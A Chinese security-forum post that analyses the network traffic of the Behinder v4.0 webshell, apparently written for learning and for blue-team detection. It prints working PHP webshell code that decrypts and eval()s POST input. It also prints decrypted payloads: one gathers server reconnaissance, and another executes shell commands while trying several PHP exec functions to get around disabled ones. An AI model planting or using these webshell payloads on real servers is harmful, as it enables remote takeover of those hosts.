安全矩阵

 找回密码
 立即注册
搜索
查看: 876|回复: 0

冰蝎V4.0流量分析到攻防检测

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2023-1-23 21:58:21 | 显示全部楼层 |阅读模式
本帖最后由 margin 于 2023-1-23 22:06 编辑

冰蝎V4.0流量分析到攻防检测 (qq.com)


0x01 前言最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。文章可能写的不够严谨,有不对的地方还请师傅们多多指出
0x02 环境搭建
这里我看的是 MountCloud 师傅所二开的冰蝎项目,版本是 4.0.2;其实就是通过反编译搞出来的,但是这里不要用 jd-gui 或者 jadx 这些反编译,我用的是 MountCloud 师傅自己写的反编译工具,地址:https://github.com/MountCloud/JavaDecompileTool-GUI
冰蝎项目源码地址:https://github.com/MountCloud/BehinderClientSource
拿到之后用 maven package 打包一下,运行 jar 包即可,同时要将 data.db 放到 jar 包同一目录下。
编辑
0x03 冰蝎的使用与流量分析冰蝎的使用我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。
编辑
这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为 .php、.aspx 和 .jsp,这里我们起个环境然后连 shell(这里我是用虚拟机的环境,因为一开始用本机起一直 wireshark 抓不到流量,如果踩坑的师傅也欢迎私信和我交流)
编辑
我们可以看一下 shell.php(先对 xor_base64 的传输协议进行分析,后续分析 xor_base64 这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。
v4.0 的代码

  1. <?php
  2. @error_reporting(0);
  3.     function decrypt($data)
  4. {
  5.     $key="25f9e794323b4538";
  6.     $bs="base64_"."decode";
  7.     $after=$bs($data."");
  8.     for($i=0;$i<strlen($after);$i++) {
  9.         $after[$i] = $after[$i]^$key[$i+1&15];
  10.     }
  11.     return $after;
  12. }
  13.     $post=Decrypt(file_get_contents("php://input"));
  14.     eval($post);
  15. ?>
复制代码

这里的 key 就是对应的连接密码,当然在冰蝎“传输协议”当中,可以自定义密码。
v3.0 的代码
  1. <?php
  2. @error_reporting(0);
  3. session_start();
  4.     $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
  5.     $_SESSION['k']=$key;
  6.     session_write_close();
  7.     $post=file_get_contents("php://input");
  8.     if(!extension_loaded('openssl'))
  9.     {
  10.         $t="base64_"."decode";
  11.         $post=$t($post."");
  12.         
  13.         for($i=0;$i<strlen($post);$i++) {
  14.                  $post[$i] = $post[$i]^$key[$i+1&15];
  15.                 }
  16.     }
  17.     else
  18.     {
  19.         $post=openssl_decrypt($post, "AES128", $key);
  20.     }
  21.     $arr=explode('|',$post);
  22.     $func=$arr[0];
  23.     $params=$arr[1];
  24.     class C{public function __invoke($p) {eval($p."");}}
  25.     @call_user_func(new C(),$params);
  26. ?>
复制代码

v3.0 和 v4.0 的区别很明显在于这里 $_SESSION['k']=$key,v3.0 版本当中会把 key 作为 session 传入;接着判断 extension_loaded,也就是判断服务端是否存在 openssl 拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的 xor_base64 加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的 aes 加密方式。
冰蝎流量分析看了网上一堆分析的文章,都在说冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输
第一阶段-密钥协商
1.攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.php?pass=645 的请求服务器密钥;
2.服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。
第二阶段-加密传输
1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
3)执行结果通过 AES 加密后返回给攻击者。

  •         • 但是我自己在分析的过程中并没有看到这个密钥协商的过程,同时也没有看到 $_SESSION 变量当中存储了 md5 的高 16 位,反而 $_SESSION 变量存储的是一个 26 位的字符。不知道这里是我的问题还是冰蝎 4.0 版本就是如此。
我先选取的是 xor_base64 的加密方式,我在连上马之后还执行了 whoami 命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下。
编辑
第一段代码,经过 xor_base64 的解密,得到如下代码
  1. error_reporting(0);
  2. function main($whatever)
  3. {   
  4.     $result = array();   
  5.     ob_start();
  6.     phpinfo();
  7.     $info = ob_get_contents();
  8.     ob_end_clean();   
  9.     $driveList ="";   
  10.     if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){        
  11.         for($i=65;$i<=90;$i++) {   
  12.             $drive=chr($i).':/';   
  13.             file_exists($drive) ? $driveList=$driveList.$drive.";":'';   
  14.         }   
  15.     } else {
  16.         $driveList="/";
  17.     }   
  18.     $currentPath=getcwd();   
  19.     //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
  20.     $osInfo=PHP_OS;   
  21.     $arch="64";   
  22.     if (PHP_INT_SIZE == 4) {
  23.         $arch = "32";   
  24.     }   
  25.     $localIp=gethostbyname(gethostname());   
  26.     if ($localIp!=$_SERVER['SERVER_ADDR']) {        
  27.         $localIp=$localIp." ".$_SERVER['SERVER_ADDR'];   
  28.     }   
  29.     $extraIps=getInnerIP();   
  30.     foreach($extraIps as $ip) {        
  31.         if (strpos($localIp,$ip)===false) {         
  32.             $localIp=$localIp." ".$ip;        
  33.         }   
  34.     }   
  35.     $basicInfoObj=array(
  36.         "basicInfo"=>base64_encode($info),
  37.         "driveList"=>base64_encode($driveList),
  38.         "currentPath"=>base64_encode($currentPath),
  39.         "osInfo"=>base64_encode($osInfo),
  40.         "arch"=>base64_encode($arch),
  41.         "localIp"=>base64_encode($localIp));   
  42.         //echo json_encode($result);   
  43.         $result["status"] = base64_encode("success");   
  44.         $result["msg"] = base64_encode(json_encode($basicInfoObj));   
  45.         //echo json_encode($result);   
  46.         //echo openssl_encrypt(json_encode($result), "AES128", $key);   
  47.         echo encrypt(json_encode($result));
  48.     }
  49.     function getInnerIP()
  50.     {
  51.         $result = array();
  52.         if (is_callable("exec"))
  53.         {   
  54.             $result = array();   
  55.             exec('arp -a',$sa);   
  56.             foreach($sa as $s)   
  57.             {        
  58.                 if (strpos($s,'---')!==false) {
  59.                     $parts=explode(' ',$s);
  60.                     $ip=$parts[1];
  61.                     array_push($result,$ip);
  62.                 }
  63.                 //var_dump(explode(' ',$s));           
  64.                 // array_push($result,explode(' ',$s)[1]);   
  65.             }
  66.         }
  67.         return $result;
  68.     }
  69.     function encrypt($data)
  70.     {   
  71.         $key="25f9e794323b4538";
  72.         for($i=0;$i<strlen($data);$i++) {   
  73.             $data[$i] = $data[$i]^$key[$i+1&15];     
  74.         }   
  75.         $bs="base64_"."encode";
  76.         $after=$bs($data."");   
  77.         return $after;
  78.     }
  79.     $whatever="RWN4cTE4VFlUNGRVUWhaalZ5UW1Kamw4R2RTZlJIalhlRFg2djR3Y1RLVFhhWnQxaFhES3ZBMW9QYjlPWmlGNlEyNUNVcXVkV2J4Q0dTUG5YZ3B2RjRDVWlGbGwxNVk2d3RMWUhnbjRVWWRETDdVbHNoWjNrZmNCNlUzNWNRRW5hU1g1RFNQSDI1Snpmc2ZqRzJBQWJyaDZMUDVxMWZuMm1JVzIxTklWR0JraTViUE1XTnBnVG5wVFJ5cEpsQmdCTlJmSW1WYzIzRERmVlRoeDBpQ1pLcHpvVVdzMXZmUXM5NkhMVFVUNGhpQ3NXZWVYTFk1TnJOdHZNVEFXcTlMYUhFOHRoRUhzaXpBQldnaWtYUkhweDc1b2pvWWpyTUJOMkxvNmpuNWRndDVDSTNJc2I4dHpUdHF3dG5yRGxYNTlHNEtyS0NMSUw3Ym9lQk9mWjJldnlQSk5Jc2RCOU9SRVVUSGk0Q1NLaFJjNkJpcUZGMVM0MWVDcFdtaEpYT2hEaHVkdnNMUUNPbzREQ3pKekhjdG5KZXBuemJ0YkE1TU50bXhWTUNoOUM5dm5VMDNZM3IyRFBOZVJqeUd0b0t2ZFdhWk5ETU96WHEzdmFQQmFobXdNcTBvdVlyanlPZmVaRVNMYXhwWlFlVWtvendGOTlUaGJaUTZVVU82dVFZVEVMUHJJWnFYeFRVbXNhaGxqZnFmZmJGbVBIbGxQSlNaSmtpRnNORkM3UFRNbjFoOFlmUUYwVm1RNW1oMXVlbllTNEd4NXB4UVNHV2lzTE1UaFpaTUJNeHZlRldGZ2E3ZHA1MDA3ZXhHbG5rUEZjZ21jZjJFUktDUDdkajlNQVk5OHdEOXhkQVBkQTZhQ2ozeERja2VFZzZVWnhaMmQ5ZzF2c1BmdWRPbkZJSTc3MnJuSFE0emxDSllFSGxXQmVWeXhycjRkRHNzdkFKZTBRT2U4VXpoYkJ5YjhzOXpvZU54dm00S2VhY1R2QUdhalBBUFBSZlV3dDZwbnhxdjF3ZjVKZEhOSmxvRXJERWNIRTYyQWZmSGZseXNqbXBOVHZ4WGFJTE9WdTBHRUlpUXA1ZU4xOUluTktMc2huZnNSR0hBUjh3aWFyZ2MwVElCYmwyZG9lVmt4Qm5seGl6QmlyODBqZDlrR3pacHhncGUyTlpGVHNMdlR3WFZlZHduWVlMeVF5TjNORFpNdWVhVE9ZemJQT2VaZ2g1d3VSZEtjYUtEQUhCYmozd0lOeW1vd3Y0eGJ6cGtuUmZGUDlrOVA1MFdKT0FrbUVvUXE2TW1KdlNXWmw1ZzB4YmNValVDeDI1WHFwd3FLa1J4UTFZR24xM3NoVWhzY3Z6aHBqVzA4SUsweGFLTW5QNDY5RXB5VkF0RUpYYXpZem81aXpzVVRqcmxBRktoZnNKclZkR2ZRZFVxTmJQZnV3R2JqZVBpWXVOUThmVW0yOEszaFJXV3RtWkFXQ0JCeHRGQk1BQlg5ZmxVQktZUnc2cHd6dDRIMzY4N0NobW9JSE5QQ2QwUjQzdkx1aEM2SmdFSUZkZXVpRjUxODFZVVZFQWF1WU82bmxiOEo2RnBEU0Q0SHVsNDYyQXBRQzF6N0JEZ0c3aklhQWNkNWhGT0k0bFBxQXc2S0ZCUWE5QVM5NktWSVRDajFMN1dYSFZKZ01XN005RThyeFRBaXlseWJreFV1b256VWlNS0lBU2wwZkVjcjNZTFVrUTFtQUxKb2ZJc0s4SjllZG9Ca0RXWWY4eEJ1VVJLTVJLaGtYdm52cU5ySmx4MlJmbmtwQlV2QmVWYVZvbzlOeXB6Q0NTVmpZM2RYdlVUdk9FbUdldHJ4eU5kZTNoQ1FlMmduckRVM1F1andxN1NKTURVRld3YVBueHRlRnR3V2FScTY2WlRURHpIRHNDUkF3UDdnUkNSNGZKaHJzZmlINXRWcGpvdWprZlc4Zk93UUFYYVV2V3VaakRwMVFWTWRBN2JXMGZIbU1QNkdXb2VDeFZiWUdOSDV1OTluejRxNUM3emliVDMzNkVSWnRIUVh2M0s1ZW5BcEgyNkwyZlBYaUJtaU1zcHZMOGloeFlWdTJtRE9aOTdKc2drYnRqNGZLSWNnSEJtOUZxbmFTWmVoblNjVURnY3o2RDE1RmxkZjM2bnptQWtaSW1WR083enplakQ4cFpDUXBGdTZtMkRIVk51NG8xcEJOZVhLZXVNSjd6VVIyM1VuOElVVDlKUHZQeE0yZk5EZ09yUEJXczdwSHk0TklHbFRJbGZWZ0tGTFBnNVZTWmZaOXhaTnpQVm9kWUZDS1RwWlNSUGtCS2NqcWFyeEhSanRHTkZveXh2M0poRjhDdkN0emFuTlM2OHp5WTQyekIzM0NXNmdGeGdvaFdMVkJiVUlES3RsVWhGdDBTZnZ3bDlEZDdIWFdmbXFjcFZpWmNxRE1mcWVXaVg3STh6YzNxY3dscHlzVFNsSVl5anZGc2hhREFNWTZsNG1qMFdsRHppZHhFOXpldmtPeFpETzlheVBJOWJlbWxDNmk4WUppR1dnRTNqclI0ZUw0T0xncEJNQnZyS0RUckF2QTNnUXdyTU9iOHFhZzJ1VzFXRHhMQ0ZRRktNWGVVYjJhcFhDRjMyQkIzRzBpU1VBVGJMSVBpeEltOHBVakRMazkyZDBkR29heEVPeWl4U1ZjWENEampLaHBFVm13NkFQQTI0VUNpUFd1TVR5S21aTTFnNUszdzd0SjFuNzNhV200RFE0OG9Oakhmbm81Y0FPT05uWlAyVE9SWGJibFFYb1VPcW5idXFCRmlrQTJRVnQwazdBYkdmbWp0Z01Bbk5xODFUUEpOVzdvYzNTbDBFYUNLOEpCMTNialBTam5hdkZSdU5vNWxpWkhZSTlMOWNBRkdhMDhDMUhlYXpFR0plalhINjJNMUo3NlphNnNZT1hLN202d05wZnhTVTh5WGlPSG1GNlVPVVNJdHVGVWFMcW1Td00yMTFrbFdFTG40cEREQ3Ftd3NMZEpiV2szOE5FZXh5QW9kSmV0dDVuWlVKdlNXVFF1VVE0WVJRWlR3V2ZEaGZxTGI2RzRKaEtXYmFIYUdIaGtrQWk5Wm9Rbkx4RUVVdGJCSjJjVmNwMjhKRVNKMGpSSFNZYU83ek1US3Z3ZVlGN0ZTMk5hUlhBOUx1NkFjemxCYTNraXd6TEZmNlZrWEM5WVVCVURTVkhmdHVrTDNOWnRxVlB2R2dUZGpNVzJLTzFFcXpIVHBXblVpejU2MXNRTjNNa25UUWh5V2xVcFZOeFpmN1hBR0IwMnJVSk1yczVQblhZMXpadDhqbmF4d2h3amVWYnpiZ3FYc0ZBeXAydkpCbGtnVUg2NzRjQ3J4OUM0YzdTdW96bkZVOVZBeGJlekNRc2VqMElSNkxyQlNmZkNwYkwycjJLN0xBWTZFTnNiQjh3bFBuM1dvMTA4Y2IzcHNGT0Q3dzROcHNsSHZpc0szZVZVQ0psRm93RjdZSk5JQzVITWVZRmtjaEtkS1dDUUdOT3RwaDh3";
  80. $whatever=base64_decode($whatever);
  81. main($whatever);
复制代码

我个人倾向于是认为冰蝎 V4.0 版本当中,这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了 $_session,而 msg 和第一个包里的 content 是相同的,所以我认为这一部分其实也在做密钥协商(后来看了冰蝎作者的文章,果然如此)
接着我们往下看相应报文,相应报文经过 xor_base64 解密之后结果如下
  1. @error_reporting(0);

  2. function getSafeStr($str){
  3.     $s1 = iconv('utf-8','gbk//IGNORE',$str);
  4.     $s0 = iconv('gbk','utf-8//IGNORE',$s1);
  5.     if($s0 == $str){
  6.         return $s0;
  7.     }else{
  8.         return iconv('gbk','utf-8//IGNORE',$str);
  9.     }
  10. }
  11. function main($cmd,$path)
  12. {
  13.     @set_time_limit(0);
  14.     @ignore_user_abort(1);
  15.     @ini_set('max_execution_time', 0);
  16.     $result = array();
  17.     $PadtJn = @ini_get('disable_functions');
  18.     if (! empty($PadtJn)) {
  19.         $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
  20.         $PadtJn = explode(',', $PadtJn);
  21.         $PadtJn = array_map('trim', $PadtJn);
  22.     } else {
  23.         $PadtJn = array();
  24.     }
  25.     $c = $cmd;
  26.     if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
  27.         $c = $c . " 2>&1\n";
  28.     }
  29.     $JueQDBH = 'is_callable';
  30.     $Bvce = 'in_array';
  31.     if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
  32.         ob_start();
  33.         system($c);
  34.         $kWJW = ob_get_contents();
  35.         ob_end_clean();
  36.     } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
  37.         $handle = proc_open($c, array(
  38.             array(
  39.                 'pipe',
  40.                 'r'
  41.             ),
  42.             array(
  43.                 'pipe',
  44.                 'w'
  45.             ),
  46.             array(
  47.                 'pipe',
  48.                 'w'
  49.             )
  50.         ), $pipes);
  51.         $kWJW = NULL;
  52.         while (! feof($pipes[1])) {
  53.             $kWJW .= fread($pipes[1], 1024);
  54.         }
  55.         @proc_close($handle);
  56.     } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
  57.         ob_start();
  58.         passthru($c);
  59.         $kWJW = ob_get_contents();
  60.         ob_end_clean();
  61.     } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
  62.         $kWJW = shell_exec($c);
  63.     } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
  64.         $kWJW = array();
  65.         exec($c, $kWJW);
  66.         $kWJW = join(chr(10), $kWJW) . chr(10);
  67.     } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
  68.         $fp = popen($c, 'r');
  69.         $kWJW = NULL;
  70.         if (is_resource($fp)) {
  71.             while (! feof($fp)) {
  72.                 $kWJW .= fread($fp, 1024);
  73.             }
  74.         }
  75.         @pclose($fp);
  76.     } else {
  77.         $kWJW = 0;
  78.         $result["status"] = base64_encode("fail");
  79.         $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
  80.         $key = $_SESSION['k'];
  81.         echo encrypt(json_encode($result));
  82.         return;

  83.     }
  84.     $result["status"] = base64_encode("success");
  85.     $result["msg"] = base64_encode(getSafeStr($kWJW));
  86.     echo encrypt(json_encode($result));
  87. }


  88. function encrypt($data)
  89. {
  90.     $key="25f9e794323b4538";
  91.         for($i=0;$i<strlen($data);$i++) {
  92.         $data[$i] = $data[$i]^$key[$i+1&15];
  93.     }
  94.     $bs="base64_"."encode";
  95.         $after=$bs($data."");
  96.     return $after;
  97. }
  98. $cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk=";
  99. $cmd=base64_decode($cmd);
  100. $path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8=";
  101. $path=base64_decode($path);
  102. main($cmd,$path);
复制代码

经过 base64 解密,status 对应的是 success,证明能够收到这个包,并且和前面对照上。
编辑
继续分析下一个包,代码如下,这里就进行了命令执行
  1. <?php
  2. @error_reporting(0);
  3.     function decrypt($data)
  4. {
  5.     $key="25f9e794323b4538";
  6.     $bs="base64_"."decode";
  7.     $after=$bs($data."");
  8.     for($i=0;$i<strlen($after);$i++) {
  9.         $after[$i] = $after[$i]^$key[$i+1&15];
  10.     }
  11.     return $after;
  12. }
  13.     $post=Decrypt(file_get_contents("php://input"));
  14.     eval($post);
  15. ?>
复制代码

  •         • 这里我不太明白传入的 $whatever 是做什么的,感觉没什么用,这个脚本本质上还是在运行 phpinfo() 的命令执行。
把相应包解密出来,内容如下
{"status":"c3VjY2Vzcw==","msg":"xxx略,篇幅太长"}
把这一串 msg 内容放到 base64 解密,不难发现响应内容其实就是 phpinfo() 的命令回显。
编辑
编辑
至于后面的命令执行部分,是比较好分析的
把流量包提取出来,进行解密
  1. @error_reporting(0);

  2. function getSafeStr($str){
  3.     $s1 = iconv('utf-8','gbk//IGNORE',$str);
  4.     $s0 = iconv('gbk','utf-8//IGNORE',$s1);
  5.     if($s0 == $str){
  6.         return $s0;
  7.     }else{
  8.         return iconv('gbk','utf-8//IGNORE',$str);
  9.     }
  10. }
  11. function main($cmd,$path)
  12. {
  13.     @set_time_limit(0);
  14.     @ignore_user_abort(1);
  15.     @ini_set('max_execution_time', 0);
  16.     $result = array();
  17.     $PadtJn = @ini_get('disable_functions');
  18.     if (! empty($PadtJn)) {
  19.         $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
  20.         $PadtJn = explode(',', $PadtJn);
  21.         $PadtJn = array_map('trim', $PadtJn);
  22.     } else {
  23.         $PadtJn = array();
  24.     }
  25.     $c = $cmd;
  26.     if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
  27.         $c = $c . " 2>&1\n";
  28.     }
  29.     $JueQDBH = 'is_callable';
  30.     $Bvce = 'in_array';
  31.     if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
  32.         ob_start();
  33.         system($c);
  34.         $kWJW = ob_get_contents();
  35.         ob_end_clean();
  36.     } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
  37.         $handle = proc_open($c, array(
  38.             array(
  39.                 'pipe',
  40.                 'r'
  41.             ),
  42.             array(
  43.                 'pipe',
  44.                 'w'
  45.             ),
  46.             array(
  47.                 'pipe',
  48.                 'w'
  49.             )
  50.         ), $pipes);
  51.         $kWJW = NULL;
  52.         while (! feof($pipes[1])) {
  53.             $kWJW .= fread($pipes[1], 1024);
  54.         }
  55.         @proc_close($handle);
  56.     } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
  57.         ob_start();
  58.         passthru($c);
  59.         $kWJW = ob_get_contents();
  60.         ob_end_clean();
  61.     } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
  62.         $kWJW = shell_exec($c);
  63.     } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
  64.         $kWJW = array();
  65.         exec($c, $kWJW);
  66.         $kWJW = join(chr(10), $kWJW) . chr(10);
  67.     } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
  68.         $fp = popen($c, 'r');
  69.         $kWJW = NULL;
  70.         if (is_resource($fp)) {
  71.             while (! feof($fp)) {
  72.                 $kWJW .= fread($fp, 1024);
  73.             }
  74.         }
  75.         @pclose($fp);
  76.     } else {
  77.         $kWJW = 0;
  78.         $result["status"] = base64_encode("fail");
  79.         $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
  80.         $key = $_SESSION['k'];
  81.         echo encrypt(json_encode($result));
  82.         return;

  83.     }
  84.     $result["status"] = base64_encode("success");
  85.     $result["msg"] = base64_encode(getSafeStr($kWJW));
  86.     echo encrypt(json_encode($result));
  87. }


  88. function encrypt($data)
  89. {
  90.     $key="25f9e794323b4538";
  91.         for($i=0;$i<strlen($data);$i++) {
  92.         $data[$i] = $data[$i]^$key[$i+1&15];
  93.     }
  94.     $bs="base64_"."encode";
  95.         $after=$bs($data."");
  96.     return $after;
  97. }
  98. $cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk=";
  99. $cmd=base64_decode($cmd);
  100. $path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8=";
  101. $path=base64_decode($path);
  102. main($cmd,$path);
复制代码

对应回显是
{"status":"c3VjY2Vzcw==","msg":"ZGVza3RvcC1xbWNzOWdvXGRydW5rYmFieQ0K"}
编辑
一些疑问和改进点简单来说,如果作为蓝队,需要严格分析的是第三个流量包,也就是命令执行的流量包,这也最容易分析。在学习阶段我也思考了具体的几个点

  •         • 1、连马是如何连上的,看起来 shell.php 需要我们 post 传入 $data,这一步在流量分析中并没有抓到。
  •         • 2、针对 aes,xor_base64 进行加密的防御型脚本检测。
  •         • 3、冰蝎的改写,是否可以采用新型加密方式。
0x04 冰蝎传输与攻防冰蝎传输与连马&命令执行冰蝎 v4.0 版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。按照冰蝎 3.0 版本当中的密码依旧是 "rebeyond",但是冰蝎 v4.0 的马使用蚁剑,以 "rebeyond" 作为密码是连不上的(亲测
在流量层,冰蝎的 aes 特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。
首先看一下冰蝎Payload流转的流程图:
编辑
可以分为这五个流程

  •         • 1、本地对 Payload 进行加密,然后通过 POST 请求发送给远程服务端;
  •         • 2、服务端收到 Payload 密文后,利用解密算法进行解密;
  •         • 3、服务端执行解密后的 Payload,并获取执行结果;
这三步的基础是 shell.php,通过 post 请求传 body
<?php@error_reporting(0);    function decrypt($data){    $key="25f9e794323b4538";     $bs="base64_"."decode";    $after=$bs($data."");    for($i=0;$i<strlen($after);$i++) {        $after[$i] = $after[$i]^$key[$i+1&15];     }    return $after;}    $post=Decrypt(file_get_contents("php://input"));    eval($post);?>
在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定你(受攻击端)确实是能够和我(本地攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。
对应的代码如下,这是冰蝎当中 payload/php 下的代码 ———— Echo.php
编辑

  •         • 在实际传输过程中会发现冰蝎发包时多了一个 encrypt() 函数,我后续会对这一现象进行解释。
    1. @error_reporting(0);

    2. function main($content)
    3. {
    4.     $result = array();
    5.     $result["status"] = base64_encode("success");
    6.     $result["msg"] = base64_encode($content);
    7.     @session_start();    //初始化session,避免connect之后直接background,后续get result无法获取cookie
    8.     echo encrypt(json_encode($result));
    9. }

    10. function encrypt($data)
    11. {   
    12.     $key="25f9e794323b4538";
    13.     for($i=0;$i<strlen($data);$i++) {
    14.         $data[$i] = $data[$i]^$key[$i+1&15];     
    15.     }   
    16.     $bs="base64_"."encode";
    17.     $after=$bs($data."");   
    18.     return $after;
    19. }

    20. $content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZ